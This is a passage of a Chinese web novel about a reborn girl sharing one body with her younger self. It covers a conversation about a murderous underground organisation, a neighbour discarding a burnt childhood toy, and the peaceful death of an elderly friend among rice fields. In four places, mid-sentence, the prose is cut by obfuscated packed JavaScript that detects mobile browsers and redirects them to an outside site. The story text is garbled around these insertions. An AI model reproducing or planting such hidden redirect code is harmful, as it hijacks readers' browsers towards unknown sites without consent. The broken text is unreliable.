“你的想法是对的,”何景澄垂眸说道,“我甚至会希望你能把自己看得更重一些,你的处境很危险,温同学。” 大温敏锐地察觉到何景澄话里藏着的意思,她抓住他的手腕,追问道:“你都知道了些什么?你到底为什么会被刺杀?” 何景澄抬眼扫视一圈,好在并没有人注意到他们的交谈。 “这里不方便交谈。”何景澄低声说,“我们出去吧。” 大温心下了然,跟着何景澄走出警局。外头日光正盛,大温微微眯眼,还是有些不习惯白天出现。 警局外不远处就是丰林江,拱形高桥横跨百米江面,桥上车水马龙,大温和何景澈并肩走在桥上。 他们沉默无言地走着,大温在等何景澄的回答,而何景澄在思考该如何回答。 “温同学,你听说过悼亡诗案吗?”终于,何景澄开口了,然而一开口便让大温心中一跳。 大温怎么会不知道这个案子,她永远都不会忘记那个杀死徐幼盈的凶手。她心里有滔天的怒意,但她不能对何景澄说。 “知道。”大温尽量平息心中的怒意,平静说道。 “那你知道,悼亡诗案的犯人是某个反社会组织的核心成员吗?” “知道。” “看来你知道的确实很多,我猜你应该也知道了,最近发生在你身边的案件,多多少少都和那个组织有关。那个组织热衷于开展杀人游戏,他们的成员会挑选自己的猎物,用符合自己风格的手段折磨猎物。” 何景澄停住脚步,侧身看着跟着停下的大温。江面上吹过一阵强风,厚重的云短暂地遮住高悬的太阳。第一次,大温在何景澈眼睛里看到了如此复杂的神色。 “而我的母亲,曾经是其中一名组织成员的猎物。” 大温双目圆睁,瞳孔骤缩,不可置信地看着何景澄。她有些语无伦次了,颠三倒四地说道:“我以为你离那些事情很远,你只是一个普通人,你不像我,你……你的母亲,她过得好吗?” “这件事,我并不知道详情,一开始这只是一个猜测,直到早上遇到那个歹徒,他的话让我确定了这个猜测。母亲最近过得还算好,只是阿澈的事让她很忧心。”何景澄轻声说。 “我的外公外婆在我很小的时候就‘意外’去世了,我猜测我的母亲在那之后就发现了不对劲,她用某种手段摆脱了游戏。” 如果可以的话,何景澄很想问问母亲究竟是如何做到的,只是母亲一直对这件事缄口不言,似乎很避讳,恐怕不会回答何景澄。 “又是伪装成意外的谋杀……”大温喃喃。 “曾经我以为发生在我身上的悲剧都是老天爷的玩笑,是我降生在一个幸福家庭中所需要支付的代价,我真的……直到最近才后知后觉地发现,我其实是被人盯上了。” “我很难过,我不知道这个世界上还会有多少个像我一样被盯上的猎物,又有多少人遭受了残害。要是我早点发现就好了,要是我再厉害些就好了,要是我能彻底把那个组织铲除……就好了。” 大温有些沮丧,可能在现在,在他们交谈的当下,就有人在失去身边最重要的人,失去亲人,失去朋友,失去爱人。 “你可以做到的,温同学。”何景澄露出一个浅淡的微笑,“你能做到的,我会帮你。” “你要怎么帮?”大温问完,突然想起了歹徒死前说的话,眼睛瞪大了,“你要加入那个组织?!” 何景澄没有承认,也没有否认。 “不行不行!绝对不行!”大温连忙说道。 这太荒谬了!何景澄脑袋再聪明也只有十六岁,怎么可能斗得过那群老谋深算的恐怖分子!去了就是送死! “没关系,我暂时有办法自保。” 大温又想起了歹徒的那句话——这是你的选择,你辜负了ta的好意。 一切好像都有了解释,何景澄的母亲曾经被组织成员当成“猎物”,后来通过某种手段摆脱了游戏,一家人相安无事活到现在。何景澄的母亲希望自己的家人远离那个地下组织,因此频繁告诫何景澄不要妄图当侦探,不要调查那些案件。 何景澄并没有乖乖听从母亲的告诫,或者说他曾经听从,现在违背了。他不知道用了什么方法联系到那个组织,而组织也给出了回应——那个持刀行凶的男人。 何景澄做出了自己的选择,他主动接近那个组织,这个选择辜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364385|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负了他母亲的好意。 这便是那句话的含义。 “你早就已经做好决定了?”大温终于想清楚前因后果了,她的语气带着些许不可置信,“可你根本不像是有手段自保的样子,今天只是运气好,我恰好看到了歹徒,往后再有这种情况你怎么防身?” “何景澄,我不希望我的朋友受到伤害,我不希望你受伤。” 大温说这话时是看着何景澄的眼睛的,她向来不喜欢遮掩自己的感情,想什么就会表现什么。和擅长伪装的何景澄截然不同,她始终真诚。 “温同学,就像你之前说的那样,你会如果有人伤害你的朋友,你会感到愤怒。而我把……朋友看得比自己还要重,得知有人三番五次企图伤害你,我无法无动于衷。” 大温沉默片刻,知道她没有办法阻止何景澄了。她担心何景澄,而何景澄也担心她,他们就像是站在同一个圆环中,向前向后都会走向彼此。 她抿唇纠结了好一会,才开口问道:“我知道了,至少告诉我你的底牌,我不想一无所知地等待。” “抱歉,这个我暂时不能说。”何景澄摇摇头,“我们都有秘密,不是吗?” 大温被这话噎住了,她怔愣片刻,轻笑道:“听起来你已经知道了,我的秘密还算是秘密吗?” “当然,在你亲口说出来之前,它会一直是一个秘密。” “等到时机合适,我会坦白的,在此之前,只能麻烦你继续被我‘欺骗’了。” “等到事情结束,我也会向你坦白的,在此之前,希望你,你们不要太过忧心。” 啧,他果然知道了。 大温撇嘴,何景澄比她想的要敏锐,也比她想的要能藏事。也不知道他是从什么时候发现的,是从之前小温不小心说漏嘴开始吗? 何景澄是个聪明人,如果他坚持不说,大温会逼问他。可如果他搬出大温的秘密,大温就不会再追问了。 在追问别人的秘密之前,需要坦白自己的秘密,这是等价交换。大温暂且不知道重生这件事能不能说出来,说出来会不会有什么代价,她需要一点时间求证。 “何景澄,你和我想象中的稍微有点不同。我认识你很久了,但又像是第一次认识你。”大温说,“如果可以的话,我希望我能看清你,看清你到底是个什么样的人。” 何景澄默了默,他确实一直习惯性地在大温面前伪装。他希望他在大温眼中一直是个温柔善良的人,而不是心机狡诈,城府比海深的人。 他的母亲希望他是个单纯的人,他也希望,可惜他不是,他的一切建立在伪装之上。他对母亲伪装,对家人伪装,对同学伪装,他装得太久了,伪装已经成了习惯。 何景澄被很多人喜爱,他们说他很温柔,说他很善良。他们用许多美好的词汇来描述他,只有他本人知道他其实配不上。 “如果那是你希望的,我也希望我能做到。”何景澄看着碧绿的江面,平静地说道。 41. 丢弃童年 大温回到家时,李萍家的大门敞开着,在门口可以看见烧焦的客厅。火焰在原本发灰发黄的腻子墙上留下脚印,瓷砖地板上淌着水,大温隐约能听见屋内有人交谈。 “已经通知这家人的女儿了,她本来就订了今天的票,下午就到丰林市。” “唉,造孽啊,小姑娘刚放假准备回家,结果家没了。” “可不是吗,不过这也算是解脱吧,从今往后,她的人生可以重新开始了。” 屋内的人都沉默了,大温掏出家门钥匙,和平时一样熟练地打开家门。一开门,一股浓郁的炖鸡的香味迫不及待钻进大温的鼻子里,她被香味勾着走进厨房,看到老温正准备淘米煮饭。 “我——回——来——啦——”大温拖长调子喊道。 她站在厨房门口打哈欠,老温回头瞥了眼,打开水龙头淘米,他伸手在电饭锅内胆里搅了搅,把奶白色的淘米水倒进旁边的空盆里。 老温优哉游哉的声音和淘米水一起,被倒了出来,他说:“困啦?要不你先去睡会,秦女士去处理一些工作的事了,晚点回来,你大概还有半个小时到一小时的时间补觉。” 大温揉揉眼睛:“好,那你待会再叫我。” 老温把装着淘米水的空盆递给她:“等会,顺便帮我浇浇阳台上的小葱,快死了都。” 大温抬头看天花板:“你说啥呢,风有点大听不清。” 老温端着盆唉声叹气:“唉,女儿小小年纪就老了,耳背了,这可如何是好。” “其实我是外星人,有两对耳朵,一对专门用来听坏话,你说我坏话我全都听见了。” “原来我是外星人。” “你不是,我是。” 老温摸着下巴认真思索:“可我不是你爹吗?” 大温又打了个哈欠:“好困,等我醒了再和你扯皮条。” 她接过老温手里的盆,往阳台走去。 透过阳台的落地窗,大温又一次看见了熟悉的商铺,和重生时的第一天差不多,只是西边多了一个卖凉茶的小车,车上用红油漆写着“十二味凉茶”五个字,字写得歪歪扭扭的。 卖凉茶的是个花白头发的老头子,他拿了张小木板凳坐在一边,手上拿着蒲草编成的扇子,蒲扇像被放飞的风筝,在老人手里忽高忽低。 长大后这种凉茶车几乎绝迹了,人们更偏爱奶茶和果茶,奶茶店开遍大街小巷,成了和餐馆一样寻常的存在。大温有些恋旧,她忍不住多看看凉茶车,直到老温在她背后嚷道:“嘿!浇葱浇睡着了吗你?” “是啊,现在被你吵醒了,赔钱。”大温端着盆走回厨房,随意说道。 “你要多少?” “你居然答应了?”大温就随便说说,根本没想到老温会答应,“怎么回事,今天太阳好像也没从西边出来。” “啧,你到底对你的老父亲有什么误解?”老温不满道,“你要是不想要,我就收回这个承诺了。” “别别别!给都给了,哪有……” “我还没给呢。”老温严肃纠正道。 “行吧,那你说都说了,哪有收回的道理。”大温思索片刻接着道,“把钱换成别的可以吗?” “哦?小财迷今天不要钱了?” 大温无视了老温调侃,认真道:“我想和你,还有秦女士,我们一家人一起出去玩。” 老温脸上难得露出错愕的表情,没料到大温会提出这个要求。 他们家是双职工家庭,外公外婆在乡下,老温是个孤儿,大温没有爷爷奶奶,小时候都是老温和秦女士轮流带她。 老温和秦女士的假期很难凑到一起,每次凑到一块时都是旅游高峰期,出行困难。秦女士不喜欢和人挤,所以他们家通常会选择避开旅游高峰期的时间,由老温带大温出门玩,或者秦女士带大温出门玩。 总之,因为各种原因,他们家已经很久没有三个人一起出去玩了。 “这个要求有点困难,但也不是不能实现。”老温摸摸下巴,“我得和秦女士商量一下什么时间、去哪玩、怎么玩。你有什么特别想去的地方吗?” “没有。”大温摇摇头,“只要是我们一起,去哪都好。” …… 第二日早晨出门时,小温习惯性地看向隔壁的李萍家,自从知道花奶奶的事和李常有关后,大温小温便时刻注意着李萍家的动静,这个习惯直到李常离世都还维持着。 李萍家的大门敞开着,门口放着几大袋打包好的垃圾,小温侧耳细听,听到了什么东西拖在地上的声音。那声音逐渐靠近,一个二十来岁,扎着麻花辫的女生走到了门口,她一手抱着烧毁的窗帘,另一手拖着被烧得看不出原样的东西。 她和小温四目相对,两人都是一愣。 小温很快便认出来了那个女士,是李萍的大女儿,小温其实很少见到她,两家人关系不算好,女生性格内向,很少出门,自然也很少和小温打照面。 小温甚至不知道女生到底叫什么名字,只知道姓李。因为不知道名字,不知道该如何称呼,小温只好愣愣看着女生。 女生知道小温的名字,小温一家在这附近很出名,邻里基本都认识他们,但她不知道该说什么,也只能愣愣看着小温。 两人就这样莫名其妙地对视了好几秒,小温有些尴尬,她左思右想,灵机一动,说道:“姐姐,需要帮忙吗?” 小温说着,手指着女生手里的东西。因为火灾,李萍家的很多家具和杂物都不能要了,需要拿到楼下丢弃。 “嗯,谢谢。”女生没有拒绝,大大方方地把手里的东西递给小温。 小温从她手中接过半截棕色的木质家具,定睛一看才发现那不是家具,是被烧得只剩下半个的木质木马,很小很旧,满是划痕和火烧的痕迹。 小温也有这样的木马,只不过她的木马是橡胶做的,在她很小的时候,她喜欢骑着她的小木马在客厅里溜达,老温就在一边笑眯眯地看着,边看边给她加油鼓劲。 “那是我小时候的。”女生看小温似乎很疑惑,主动出声解释,“那时候妈妈还是个正常妈妈。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364386|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你要把它丢掉了吗?”小温犹豫着问道,她也有收集玩具的习惯,家里有两大箱她的玩具,秦女士一直帮她好好收着,每隔几年小温会翻翻她的玩具箱,回忆一下她的童年。 “它已经被烧坏了。” “可你已经珍藏它很久了,感觉有点可惜。” 女生摇摇头,她似乎早就已经下定决心了:“我早就应该把它丢掉了。” 小温没有再说话,她看出了女生的决意。她又和女生确认了其他需要丢弃的物品,抱着拖着一大堆烧焦的破烂,叮里哐啷地下楼了。 女生默默跟在小温身后,她看着小温把装得鼓鼓囊囊的黑色塑料袋投进垃圾箱,看着小温团吧团吧,用烧焦的窗帘把那半截木马团起来,遮住下半段被烧毁的地方。 做完这一切后,小温把包裹得只剩个头的木马放进垃圾箱里。只是早晨,垃圾箱就已经满了,木马稳稳站在满溢的垃圾之上,好像它还是一个孩子珍藏许久的玩具,而不是一件需要丢弃的垃圾。 女生跟在小温身后,把手里的垃圾袋丢进垃圾箱里,她抬起手想把垃圾袋投进去,可在看到那半截木马时,扬起的手微微落下。 最终,她把垃圾袋慢慢放进了垃圾箱里,没有把木马震倒,更没有砸中木马,她慢慢的把垃圾放进垃圾箱里,慢慢的。 小温默默看着这一切,她看着女生放完垃圾后一点也没有停留,转身离开垃圾箱。她看着女生走出三四步远时忍不住回头看了眼,回望那被她彻底遗弃的,再也回不来的童年。 …… 小温已经有一段时间没去找她的教练了,每天不是忙着去医院看望花奶奶,就是忙着制定接下来的计划,闲暇时间还要搜索整合有关那个神秘组织的情报。 当然,她也没忘记打理花奶奶种的向日葵,这一次,除去几颗没有发芽的种子,其余发芽的向日葵们全都茁壮成长了。 小温仔细查阅了向日葵的种植指南,每天按时浇水,定期驱虫,她想着这次等花奶奶出院了,就能看到很多的花了。 花奶奶喜欢花,花奶奶像花一样,小温也喜欢花,喜欢花奶奶。 日子一天天过去,大温每天都会呼叫系统,查询系统的更新进度条,当更新进度到达93%时,医院的检查结果出来了,医生终于确定了花奶奶脑部的阴影是什么。 “恶性肿瘤,而且是晚期了。”曲宏愿平静地说,“医生说没法年纪太大了,没法治疗了,让我们在剩下的一个月里好好道别。” 他和大温并排坐在丰林江边的河堤上,夜风拂过江面,吹得人心里发寒。 大温其实早有预感,在看到CT图像上的阴影时,她就已经有不好的预感了。花奶奶今年已经82岁了,这个年纪的老人,生病真的太正常不过了。 可她就是不甘心。 不甘心不甘心不甘心。 为什么这么快,这么快。 明明才救下花奶奶没多久,明明花奶奶的危机才刚刚解除,为什么这么快。 为什么,不可以再多陪陪她呢…… 42. 再度死亡 “奶奶,你有什么想去的地方吗?”出院后的每一天,小温都会这样问花奶奶。 每一次花奶奶的回答都不一样,从楼下老头老太们下棋的棚子,到曲宏愿的小学。每一次花奶奶回答后,小温都会带她去她想去的地方。 曲宏愿也会一起去,大人们还要上班,他们总是很忙,只有两个孩子是清闲的。虽然曲叔叔和黄阿姨很不愿意,但他们必须得提前准备后事了。 经常和花奶奶聊天下棋的老太老头们听说了,全都长吁短叹,一群白发苍苍的老人围着同样白发苍苍的老人,把一直在旁边充当左右护法的小温和曲宏愿都挤走了。 “哎呦!咋滴个事咧!好端端的弄啥子嘞!”一位富态的老奶奶抓着花奶奶的手,一把鼻涕一把泪的。 “唉!花,你走了,我找谁下棋哟!”一个穿着白色背心,拿着蒲扇的老头也唉声叹气道,他手中的蒲扇快速扇动,肉眼可见的紧张。 “怎么偏偏是花先走,为什么不是老锅头……”一个干瘦的小老太嘟哝道。 “姓赵的!就你天天咒我死呢!”一个矮小驼背的老头嚷道。 花奶奶抬手制止吵吵嚷嚷的人群,挨个和老友们道别。 她先是双手握住那位富态老奶奶的手,用哄小孩的语气道:“阿悦,不哭不哭,哭花了脸就不好看了。” “都成老太婆了,哪个还在意好不好看……”名叫阿悦的老太太委屈巴巴地说。 “我在意啊,阿悦好看,阿悦不哭。”花奶奶说着,双手捧起阿悦的脸,替她拭去眼泪。 阿悦听了花奶奶的话,更想哭了。她吸了吸鼻涕,勉强止住眼泪,花奶奶看她不哭了,这才接着看向下一个人,那个摇着蒲扇的老头。 “老张,我是要死了,但会下棋的人没死,你家小子棋艺也不差,别老和他闹别扭了。” “嘁!那小子!那小子……”老张的蒲扇摇得更快了,“我才不要先和他说话!” “死要面子。”花奶奶嗔了他一句,“你和你家小子都是死要面子的性子。” 老张听出不对劲了,摇蒲扇的手顿住,追问道:“那小子和你说什么了?” “这你自己问他去,我病昏头了记不清。”花奶奶摆摆手。 老张听得出花奶奶是故意不说的,他抓着头发退到一边,也不知道在想着什么。花奶奶把目光移向那对吵架的老头老太。 “老赵,老锅头,你俩都吵几十年了,差不多够了。算是承我个情,好好聊一聊,本也不是什么深仇大恨,黄泉路上多个伴也比多个仇敌好。” 老赵抿唇不语,老锅头别过头不看花奶奶,花奶奶看着他们,等着他们回答。良久,老锅头才幽幽道:“得了,承你的情,有时间我会和那家伙聊聊的。” 花奶奶满意地点点头,接着看向其他人。 小温和曲宏愿就这样站在一旁,见证了花奶奶和老友们的道别。这场道别会持续了很长的时间,但他们都没有失去耐心。 花奶奶是个广结善缘的老太太,在她病倒后,所有人都在尽自己所能帮助她。 老温联系了自己医院的朋友,辗转联系到其他有名的医院的主任,想了解有没有其他的治疗办法。 就连一向不喜欢和人打交道的秦女士为了花奶奶的病,也主动联系了自己的大学同学,询问有没有其他治愈的办法,或者其他延长寿命的手段。 无数人伸出手,也不能完全阻止死神的逼近。 从第一次次晕倒后,花奶奶清醒的时间就在一点点变少,她总是没什么精神,也没什么力气,吃饭时连勺子都拿不稳,上厕所都得小温陪着去。 花奶奶年纪太大了,肿瘤的治疗手段对她来说副作用太大了。老温联系了很多专家,他们提出的所有治疗方案对一个82岁高龄的老人来说,都存在着巨大的风险。 最后医生在征求曲叔叔和黄阿姨的意见后,还是选择了保守治疗,以延长寿命、提高生存质量为主。 即便再无法接受,他们也必须接受这个事实,接受花奶奶死期将至的事实。 …… “奶奶,你有什么想去的地方吗?”小温又一次问花奶奶。 每一天小温都会问出这句话,这就像是她们之间的一个默契的约定,一个神奇的魔法。只要花奶奶说出她想去哪里,小温就会带她去。 今天是出院的第十三天,花奶奶眯着眼看天,天很蓝,天气很好。 花奶奶脸上带着淡淡的微笑,就这样微微仰头看着碧蓝的天空说道:“我想看稻田。” “稻田?”曲宏愿确认道,这些天他总是和小温一起陪花奶奶。 医生说花奶奶每一天都可能死去,他们都不想错过见花奶奶最后一面的机会。 “对,我想看稻田。”花奶奶今天精神似乎很好,说话都清晰了很多,“我想回家了。” 花奶奶可以把小儿子的家当成自己家,但也仅仅是“当成”,她还有一个独属于自己的家。那个家由泥巴和砖头建成,由她和她的爱人亲手建成,它很小,很破,下雨时厨房会漏水,打雷时电视机会花屏,可那才是独属于她的家。 小温没去过那里,曲宏愿去过,逢年过节时他会随父母回去一趟。她悄悄问曲宏愿那是什么样的地方,曲宏愿思索片刻道:“这要看你问我哪一方面的了,我想听到我客观的形容,还是主观的描述?” “主观的吧。” “那么我会回答你,那是一个美丽的地方,有着一望无际的稻田,秋收时会有孩子们在田埂上奔跑嬉戏。” 那里的路很窄,那里的天很蓝。 那里有扛着锄头早出晚归的农民,那里有踩着单车赶集的少年。 那里是花奶奶出生的地方,也会是花奶奶死去的地方。 …… 到达花奶奶在乡下的家时已经是中午一点,乡下的亲戚准备了一桌好菜招待他们。小温一点也没有初到别人家做客的拘谨,该吃吃该喝喝,顺便和大爷大妈们聊聊天。 曲宏愿带着花奶奶一起和老家的亲戚们挨个道别,小温没有特意跟去,她只是在旁边等着,边等边和村里的毛孩子们玩。 花奶奶和活着的人一一道别,又和死去的人打了招呼,夕阳西下时,花奶奶终于结束了道别,曲宏愿叫上小温,二人就像这十三天以来一样,左右护法一般跟在花奶奶身后。 水泥路远处开来一辆轿车,小温老远就认出来那是老温的车,她推着轮椅往轿车方向走去,黄阿姨和曲叔叔从车后座上走下来,随后是秦女士和老温。小温看了眼时间,现在显然没到正常下班的时间,他们应该都是请假来的。 小温看向身侧的曲宏愿,正要询问时,花奶奶像是知道她想问什么一般,提前开口答道:“是我让阿愿叫他们来的。” 小温怔住了。 从早上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364387|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始,她就一直隐隐有这种预感,只是她一直不愿去想,不愿去相信。 听说有些病重的老人能预见自己的死期,知道自己大概会在什么时候咽气。花奶奶不会无缘无故把其他人叫来,而这一点,被叫来的四人和叫人的曲宏愿都想到了。 花奶奶将会在今天死去。 意识到这一点后,小温一下子失去了活力。 花奶奶回头握住小温的手,摇了摇头,说出了那句她曾经对大温说过的话:“不要害怕,不要哭。” 同样的话,分别对着同样又不太一样的人说了。 而小温的回答也和大温一样。 “嗯,我长大了,我不会害怕,也不会哭了。” …… 在花奶奶还被叫做“奶奶”的时候,在她尚未结婚生子前,她更多时候被人称作花稻丰。花稻丰,这是她那城里来的知青母亲给她取的名字,和村里其他孩子的名字都不一样。 花稻丰记得幼时秋收农忙的场景,她的母亲抱着她坐在草垛上,看着她父亲在田里割稻谷。手一抓,镰刀一割,地上只留下一个拳头大的稻草根。 “花稻丰啊稻花丰,年年花开稻谷丰。”花稻丰的母亲在她耳边轻声念着,“稻丰啊稻丰,你是稻田里长大的孩子,我希望你死去时也能在稻田之中。” “我希望你在后辈们的簇拥下,在与所有该道别的人好好道别后,微笑着死去。” 彼时尚且年幼的花稻丰并不太理解母亲的意思,往后的几十年里,她也几乎忘记了母亲的这段话。没想到在如今,在她濒死之际,她又想起了这段她本以为已经遗忘的话。 花稻丰睁开疲惫的眼,看到了围着她的一群人,还有逐渐西沉的落日。 “奶奶!” “醒了醒了!” “呼,吓我一跳,还好还好……” 花稻丰转动眼珠,周围的人似乎变多了,她躺在一棵大树下,努力睁大眼,让自己看清楚。 然后她看到了自己的大儿子一家,还有小女儿一家。 娘,你看到了吗?我如你所愿,圆满地度过了一生。 在鬼差带她走之前,花稻丰最后看了一眼远处的稻田。 一望无际的稻田几十年如一日,从未改变,改变的只有人。新的人降生,老的人死去,稻田见证了花稻丰的出生、成长、出嫁、生育、老去,最后是死亡。 花稻丰的眼珠迟钝地转动,她看向她的后辈们,看向他们担忧的脸和悲伤的眼。 她露出一个心满意足的笑。 耳畔响起幼时母亲唱过的歌谣,花稻丰看见了早已逝去的父母的身影,她嘴唇嗫嚅着,跟着母亲一同唱—— “爹啊娘啊慢些走,黄泉路上好相守。” 花稻丰追了上去,她向父母奔去,从弓腰驼背、苍颜白发的老太,变成一个挽着头发、抱着孩子的温柔妇人,然后是梳着长辫子、抱着书的年轻姑娘,最后是扎着冲天辫的黄发小儿。 她终于跑到了父母的身边,牵住了父母的手。 他们一同走上了黄泉路。 花稻丰安然合上双眼。 而大温见证了这一刻,她又一次目睹花奶奶死亡,只是这一次,她没有哭泣。 在花稻丰合上眼睛的那一刻,大温耳畔响起系统提示音。 【系统】:事件一已完成。系统升级维修中,进度100%,更新完成。 43. 信 在花奶奶死去的那一刻,重生系统完成了升级和维修,只有她能听到的系统提示音播报着这个消息。 【系统】:系统维修已完成,断联问题已修复。系统升级已完成,重生系统将为您提供更优质的服务。事件一已完成,获得任务奖励,获得新技能“共生”。 【系统】:提示,此为被动技能,无法主动发动。技能描述:平行时空的旅客,不知归处的迷途者,你获得了特殊的许可。你可以在非你操控身体的时间里,保持与另一个自己的联系,你将与另一个自己共享五感,见她所见,听她所听。同样,另一个时空的你也可以反过来和你保持联系。 大温听见了系统的播报,但是她没理会,她没心情搭理系统。在太阳彻底落山之时,曲叔叔伸出颤抖的手,探了探花奶奶的鼻息。 一秒,两秒,三秒……足足有半分钟的时间,曲叔叔维持着伸手的动作,直到黄阿姨在背后抱住了他。 “好了,书文,好了……”黄阿姨低声喊着曲叔叔的名字,她的声音带着一点微弱的哭腔。 这一点微弱的哭腔像是打开情绪开关的钥匙,围着花奶奶的人群中,有人率先发出了细微的哭声,悲伤的情绪在传染。年纪较小的孩子还不知道发生了什么,只是愣愣地看着大人们掩面而泣。 哭声像秋季的雨,由小变大,大温也有些想哭,但她想到了花奶奶之前对她说的话——不要害怕,不要哭。 花奶奶不希望看到大温哭泣,她总是希望大温笑,她说大温笑起来很好看,看到大温的笑容会比吃到最好吃的葡萄还要开心。 大温没有再哭,她只是沉默着看着曲叔叔把花奶奶抱起来,看着他抱着花奶奶穿过绿油油的稻田,在青蛙的叫声中向着家的方向走去。花奶奶的后辈们一个接一个跟了上去,有人在悄悄抹眼泪,有人在止不住地抽泣,有人牵着孩子的手防止孩子摔进稻田里。 老温揽住大温的肩膀,秦女士拉住大温的手,他们作为与花奶奶没有血缘关系的一家人,见证了花奶奶驾鹤西去。大温深呼吸平复情绪,她没有立刻跟上队伍,而是站在原地看着。她看着一群人排成长龙,浩浩荡荡地走向稻田另一端的家。不知是谁率先起头,一群人齐声唱着不成调的歌谣。 “花稻丰啊稻花丰,年年花开稻谷丰。” 他们反复唱着花奶奶的名字,歌声缓缓升空,悠悠飘向远方。 “我们也走吧。”在送别花奶奶的队伍快要回到对岸时,大温说道。 听到大温开口,小温才诺诺开口:“大温?” 这声音是直接在大温脑子里响起的,就像系统一样,大温愣了愣,随后若无其事地跟着秦女士和老温走上田埂。 水稻生长期的田埂是湿润的,很容易打滑,大温小心翼翼地向前走着,边走边尝试在脑中回应小温:“你可以直接和我对话了?” “对,除此之外,我还能听见你的系统播报,我听见系统说获得了新技能‘共生’,在系统播报完毕的那一刻,我的意识好像可以和你连接上了。我可以看到你的视角里,你所看到的事物,我可以听到你们的交谈声,可以闻到青草的味道,可以感受到秦女士牵着我的手。” “听起来有点让人发毛,”大温摸摸手臂上的鸡皮疙瘩,“虽然都是一个人,但这感觉还是有点奇怪,好像被人二十四小时监视着。” “我想,等到我操控身体的时间,就变成我被你‘监视’了吧,严格来说你被我‘监视’的时间甚至不到六个小时。”小温纠正道。 “我想,你应该说这不是监视。” “大温,我们对话的风格什么时候变成这样了?你这是跟谁学的拐弯抹角的说话方式?”小温疑惑道,“我想你应该有话直说。” “可能是跟某个擅长伪装的人学的吧。”大温耸耸肩,心情轻松不少。她长腿一迈,抬脚跨上三级台阶,终于回到水泥地上了。 运动鞋的鞋底沾了不少泥,沉甸甸的,大温用台阶边缘刮掉鞋底的泥,脚步重新变得轻松,她向着花奶奶的家走去。 在迈出脚步的那一刻,在脚步变得轻松之时,她朦朦胧胧地意识到,她好像学会如何坦然面对亲人的离世了。 …… 按照花奶奶的意愿,曲叔叔选择在乡下的老家举办葬礼。小温一家也受邀参加了花奶奶的葬礼,在葬礼的第一天,曲宏愿把一个棕色的信封交给小温。 小温接过信封,仔细端详着信封上的字——寄件人,花稻丰;收件人,温流照。 “这是奶奶生前拜托我写给你的信。”曲宏愿适时解释道。 小温拿着信封,有些不知所措。 大温在小温脑子里说:“喔,我没有收到过这样的信。” 也就是说,这封信是在大温重生之后写的,是在小温做出改变之后写的。 小温默默把信收好,葬礼上来了不少人,花奶奶在城里的老友们似乎也想来参加,碍于身体原因,最终来到的只有寥寥几个。 小温看了一圈,看到了之前吵架的老锅头和老赵,这俩还是一副看对方不顺眼的模样,但好歹没再吵架了,而且也能一起参加花奶奶的葬礼了。 大温又一次在小温脑子里说道:“嗯,看来花奶奶的话还是有用的。” 小温:“我还是很不习惯,你可以别说话吗?真的会有种被监视的不自在感。” 虽然小温看不到,但大温还是做了个给嘴巴拉上拉链的动作:“好吧,我尽量当个哑巴。不过你也听到了,系统说这是被动技能,我不想看也能看到,我看到了我就会忍不住说话。” 小温坐在大榕树下嘟囔:“这技能就不能是主动的吗……” 按照花奶奶老家的习俗,整个葬礼需要三天时间,小温一家只参与了第一天的葬礼。整整一天,老温都没有和小温插科打诨,他们保持着肃穆,沉默地送别了花奶奶。 回到家时已过下午六点,大温拿出那封厚实的信,沉默地盯着上面的字很久很久,直到小温在她脑子里说:“不要害怕。” 大温一愣,接上了小温的话:“不要哭。” 她打开了信封,取出里面红色横线的信纸。字体工整,是曲宏愿的字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364388|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迹。 致我亲爱的姑娘: 你还好吗?我很好。 人老了总是喜欢回忆过去,我最近经常想起最初和你相遇时的场景,我的好姑娘,你还记得吗?你提着一只腊鸭,敲响了我的家门。我是个无趣的老太太,很久没有没有和一个小姑娘打交道了,在你第一天拜访时,我几乎是手足无措的。 有一个小姑娘像发现新奇的玩具一样发现了我,这多么令人惊喜!我害怕你对我的兴趣被其他玩具吸引,于是动用我所剩无几的脑子,谨慎地思考该用什么东西吸引你的注意力。我想到了食物,孩小孩儿都喜欢零食。在我的孩子们还很小的时候,他们总是缠着我,希望我做些零嘴给他们解解馋。 